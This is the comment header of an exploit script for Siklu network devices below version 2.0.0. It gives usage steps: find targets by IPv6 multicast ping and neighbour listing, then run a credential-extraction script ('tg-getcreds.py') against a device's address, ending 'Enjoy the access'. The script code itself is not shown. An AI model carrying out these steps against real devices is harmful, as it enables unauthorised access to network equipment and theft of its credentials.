# Date: 28-02-2024
# Exploit Author: semaja2
# Vendor Homepage: https://siklu.com/
# Software Link: https://partners.siklu.com/home/frontdoor
# Version: < 2.0.0
# Tested on: 2.0.0
# CVE : None assigned
#
# Instructions
# 1. Perform IPv6 host detect by pinging all host multicast address for interface attached to device
# `ping6 -I en7 -c 2 ff02::1`
# 2. Review IPv6 neighbours and identify target device based on vendor component of MAC address
# `ip -6 neigh show dev en7`
# 3. Execute script
# `python3 tg-getcreds.py fe80::34d9:1337:b33f:7001%en7`
# 4. Enjoy the access
